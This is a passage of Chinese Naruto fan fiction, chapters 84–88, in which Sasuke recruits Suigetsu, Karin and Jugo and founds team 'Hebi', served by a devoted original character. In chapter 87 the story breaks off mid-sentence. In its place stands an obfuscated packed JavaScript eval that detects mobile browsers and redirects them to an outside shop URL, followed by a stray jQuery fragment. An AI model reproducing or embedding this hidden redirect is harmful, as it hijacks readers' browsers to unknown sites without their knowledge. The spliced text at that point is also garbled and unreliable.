84.
水月终于拿到了他心心念念的斩首大刀。
那柄刀极大极沉重,一般人轻易扛不动,好在他可以变换体型,手臂直接暴涨成肌肉猛男的形态,猛一挥刀就能将塔里最粗壮的刹柱给斩断。
天逆每悬在空中,看佐助和水月一前一后从这个黑|帮老大的地盘出来,千军万马都不敢拦他二人。
由于佐助的告诫,水月竟也听话地没有伤一人。
由此,鬼灯水月算是彻底加入了佐助的麾下。
——“下个地方,南方基地。”
多亏天逆每的黄泉比良坂,他们得以省去大半赶路的功夫,眨眼的功夫就到了南方基地。
关于大蛇丸被杀死的事,其实也只过了一天而已,消息甚至还没能传出田之国,因此南方基地这边还是一如既往的安稳。
牢房里的实验囚犯们没什么精神气地盯着一行三人从外面走来,尽管困惑为什么身边常常有个大蛇丸的宇智波佐助这次怎么只带了俩人,其中一个还很陌生。
但这与他们关系不大,瞥一眼就死气沉沉地收回目光。
佐助将一切都尽收眼底。
漩涡香燐亲自过来迎这几人,她推了推鼻梁上的眼镜,沉稳地邀三人去会议间里谈。
少女红发张扬似火,仍是明艳朝气的模样,沉着冷静地走在他们前面,并不介意将后背暴露出来,看上去很信任他们的姿态。
不过她才刚踏入房,关上门,就直言不讳地说:“大蛇丸已经死掉了吧。”
是很确信的口吻。
水月意外道:“你这个女人还挺敏锐的嘛,大家现在都还不知道这个消息呢。”
不过也用不了多久就能传得沸沸扬扬了吧,毕竟大蛇丸可是响当当的人物呢,忍界也处处流传着他的声名事迹。
香燐嫌弃地看了他一眼,捏了捏鼻子,不爽地说:“所以,你们现在来这里是要干嘛?”
她目光扫过天逆每,有些畏惧地赶紧躲开,最终视线定在宇智波佐助身上。
她很清楚,这个看着身形单薄的清丽少年才是真正的话事人。
所以她以更加直白、毫不遮掩、堂堂正正的目光地注视着对方。
佐助也不忸怩犹豫:“我是来找你的,香燐,跟我走吧。”
香燐出神的功夫,他顺带给水月和天逆每安排任务,命他们二人去将南方据点的所有实验囚犯都给放了。
香燐听见这话,当即就炸了毛,火红眉毛倒竖:“可恶,我是据点的管理人,放走他们之后要是出事的话……”
迎着佐助乌黑清亮的眼瞳,她的后半句话却自然而然地就咽了回去。
她垂眸,心里叹气。
真是败给他了。
85.
根本不需要怀疑香燐会答应的可能性。
只是放个犯人的功夫,小队里就多出了个人,虽然她坚定自己并不是要加入队伍,而是恰巧和他们同队而已,让他们不要多想。
此女在跟佐助和水月说话时完全掌握了变脸绝活,甚至是嗓音都能掐出不同声线来,简直让人甘拜下风。
她拒绝同天逆每说话,迄今为止,俩人没有任何交流。
但这并不妨碍小队的和谐,因为凝聚队伍的关键一直都是一个人。
这人轻轻启唇,一句话就让队伍中的水月和香燐错愕不已——
“我们去找重吾。”
这二人都很抗拒,他们此前都听过重吾的名声——天秤之重吾,残暴嗜杀,完全无法控制住自己。连大蛇丸研究出来的咒印都是从他身上提取出来的,天生就能仙人化,完全不是能好好相处的对象。
可是不管他们再怎么敬谢不敏,佐助决定了的事就不会轻易改变。
天逆每也不跟他们废话,直接一脚一个将人给踹进空间,再从黑洞里走出来。
香燐大吃一惊,世界上竟然还有这样的时空间忍术,真是作弊一样的存在!
她喃喃道:“大蛇丸大人输得不冤。”
天逆每偏头,冷不丁开口:“你在想什么?大蛇丸是败给了佐助大人,这是他的荣光,他的强大。我顶多只能算是观众,根本没有插手。”
顶多嘴上刺激了两句,但大蛇丸都是经历过大风大浪的人了,绝不可能会被他三言两语给动摇心神。
香燐无言。
天逆每想着,将手放进袖兜里,慢吞吞地抚摸到方形的硬物,心下稍安。
那是他花大价钱买到的相机,钱是其次,最重要的还是里面存放的胶卷。
等他得了空,就要赶紧把照片给洗出来,放在他百般珍惜的卷轴里。
就是可惜了,他没有种神树,喂云式,吞吃果实而变强,就没办法开辟自己的专属空间,不然就可以多些保障!
佐助忽觉身上凉飕飕的,手臂泛起了鸡皮疙瘩。
怎么回事?
86.
关押重吾的北方据点空空荡荡,看上去很是凄凉死寂,仿佛成了空城。
水月最先忍不住:“哈?怎么回事,这个地方难道遭贼洗劫了吗?”
想也知道不大可能,哪个胆子大的敢打这个据点的主意,简直是嫌命太长。
香燐猜道:“难道是这个据点的人已经知道大蛇丸被杀,然后杀掉了看守人,争先恐后地越狱了?”
佐助本来想四处找找有没有漏网之鱼,转头却看见天逆每在思索些什么,他目光探过去,对方就回神了。
“我兴许知道他们去哪了。”天逆每浑然不在意地说着,“之前兜让我去准备转生仪式上所需的药草,大概是想把我杀死在那,就先安排这个据点的人搞了个全员大逃杀,胜者来杀我。”
水月见他闭嘴,情不自禁往下问:“然后呢?”
天逆每莫名其妙地看着他:“然后他们就死掉了啊。”
抱着杀死别人的想法,就要做好被人杀死的觉悟。这是亘古不变的真理。
佐助从上至下扫了他一眼:“没受伤吧?”
天逆每喜笑颜开:“没有!那些小虫子还伤不到我。”
佐助收回自己的担忧,淡声道:“重吾在内吗?”
天逆每思索了一下:“不在。”
之后就是由香燐带路去找关押重吾的监牢。
碍于据点搞了一次全员大吃鸡,活下来的胜者不多,牺牲的人倒是不少,就没有多余的人手去给重吾送饭。
负责人并不是很敢亲自去打开牢门送餐,担心小命不保,只能暗戳戳催促大蛇丸快点补充些人手过来。
只可惜一天多前大蛇丸就杳无音信,他急得团团转,又怕事后被大蛇丸追责,于是干脆一不做二不休跑了。
滴米未沾的重吾现在确实有些虚弱,他将双手插|进橙色发间,紧紧抓住自己的头发,脸上已经浮现出了咒印的痕迹。
因为饥饿,他愈发焦躁痛苦,所以决定拧断下一个来开门的人的头颅,不管是男还是女。
不知道过去多久,重吾敏锐地觉察到了开门的动静,哪怕饿得腹中肠胃绞痛如火烧,他却仍旧还能在门开的那一瞬发狂攻击来人。
但被制止了。
那个模样出色到令人失神的少年很强,说自己是宇智波佐助,还说要成为他的牢笼。
听了他的来意后,重吾还是狂性大发,不停地攻击佐助。
不过白衣少年是来收服他的,并不是为了打架,所以并未反击,而是不断躲避来消耗他的精力,很快就跑远了。
水月和香燐在原地瑟瑟发抖,还是前者强打精神,抱怨道:“喂,收收你的杀意!”
天逆每若无其事地垂下眼睫,看看时间,抬步离开了。
87.
等佐助带着乖顺无比的重吾回来时,就见在场只剩下水月和香燐。
他不解地问:“天逆每呢?”
二人皆是摇头。
佐助:“……”
好在他们没等多久,天逆每就从拐角探出头来,温柔小意地说:“忙了一整天,佐助大人您该休息了。我已经准备好了床榻,您可以先沐浴过后,再用晚餐,最后入睡。”
确实,他们一早就去南方据点找香燐,之后又马不停蹄来这找重吾,期间就只吃了点饭团,喝了两口汤,根本就没多少时间停留和歇息。
也幸好他们是忍者,这点劳累不值一提。
不过经天逆每这样一说,大家还是生出了终于可以好好休整的想法。
重吾略微诧异地望过来,大块头看起来凶恶,实际上呆头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675627|205995||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
呆脑,很憨厚老实:“你收服我们就是为了让我们这样照顾你吗?”
佐助难言地看着他们,低喝一声:“才不是。”
原本想要泰然自若地宣布小队建立,没想到气氛荡然无存,再说的话就很不合时宜了。
他微微抿了抿嘴。
天逆每望过来,说:“如果在那之前,您还有正事要做的话,可以先完成您的事情,这才是最重要的。”
水月扛着大刀唉声叹气,就知道这个队伍是某些人的一言堂。而香燐在欣赏好像又变帅一点的佐助。
总之,因为这一句话,大家的目光都朝着佐助看过来。
场面很安静,没人再开口,他们也确实都会听从着佐助的指令行事。不论对与错。
佐助微不可察地勾了下嘴角,走廊的穿堂风吹过来,掀起他漆黑炸毛的头发,在那张出落得让人更加移不开眼的脸上,尽显明艳和张扬。
偏薄的声线褪去稚气的软糯,只剩一派淡漠清冷,他缓缓宣布——
“我们的队伍现在成立,其名为蛇。复仇的蛇。”
黑暗的阴影深处盘踞着一条冷滑长蛇,两点猩红竖瞳在昏暗中幽幽发亮,分叉的黑红信子不断吞吐,细碎的嘶嘶声若有若无。
下一瞬,它就毫无预兆骤然弹射而出,张开獠牙直扑目标。
88.
五人暂且在北方据点歇脚,没有急匆匆赶路。
据点暂时还有热水供应,佐助前去洗了澡又洗了头,才慢吞吞地从浴室里出来。
少年湿漉漉的墨色头发垂落,水珠顺着发梢不断滚落,顺着清晰的下颌线滑进松垮敞开的浴衣领口。
他的肌肤被热水浸出一层薄淡粉晕,额前碎发沾着水汽贴在眉骨,几缕湿发垂落遮住半只眼睛。肩头、锁骨还挂着未拭干的水痕,周身萦绕淡淡的沐浴水汽,整个人少了平日冷冽戾气,多了几分柔和慵懒。
香燐看到了,立马双眼放光就要蹭上来,被天逆每毫不留情地挡住,差点被一撞撞出老远。
色胆包天下,香燐都没了往日对天逆每的畏惧,拳头捏得邦邦硬。
在场人毫不怀疑,如果她武力值够的话,肯定会对人动手。
水月咧开嘴,无声地嘲笑她。
重吾则一板一眼地站在一旁,让他做什么就做,没有命令就发呆。
天逆每过来给佐助烘干头发,三下五除二就弄好了,这才把之前做好的饭菜给端上桌。
大家看到摆了满满一桌子的菜,齐齐咽了咽口水,尤其是饿了许久的重吾,嘴角都禁不住流下了一丝可疑的水痕。
这就是传说中的执事吗,上得了厅堂下得了厨房,果然非一般人能够担任吧。
香燐本来一肚子火,居然都在香气扑鼻的饭菜中给偃旗息鼓了。
佐助动筷后,大家才像是饿死鬼投胎一样,群魔乱舞似的夹菜,筷子都被舞出了残影。
“虾,居然还有虾!”水月震惊。
粉嫩通透的虾肉Q弹清甜,完全不只是调味的功劳,甚至保留了原本独属于食材的新鲜!这个手艺,就算是入宫廷为大名们执掌菜肴也绰绰有余了。
更不要说其他菜色也都同样的一绝出尘,还结合了时令蔬果,摆盘精致,简直让人进入了美食的天堂。
如果一日三餐都是这样的话,简直也太幸福了!
佐助没有他们这样夸张,他已经让天逆每养了将近两年,早也习惯这样美味的三餐。
不过今天也饿了,还有三个饿死鬼投胎正在跟他抢,让他不由也多了一丝紧迫感,下筷的速度也快了些。
饭后还有小甜点,正是那些不甜的点心。其实尝起来绵润可口,甜而不腻,只不过大家原本以为都是齁甜的吃食,入嘴后和脑海中想象的不同,心理落差稍微有点大。
水月笃定开口:“是佐助的口味吧。”
除了对方,也就没人能够再让天逆每有任何改变。
香燐给他点赞:“猜对了,水怪。看来你脑子里装的也不全是水嘛。”
这俩人又叽叽喳喳吵嚷起来了。
其他人也没管,大家都躺在椅子上,摸着圆滚滚的肚子消食呢。
天逆每放下一句记得洗碗筷,就紧跟着抬腿外出的佐助离开。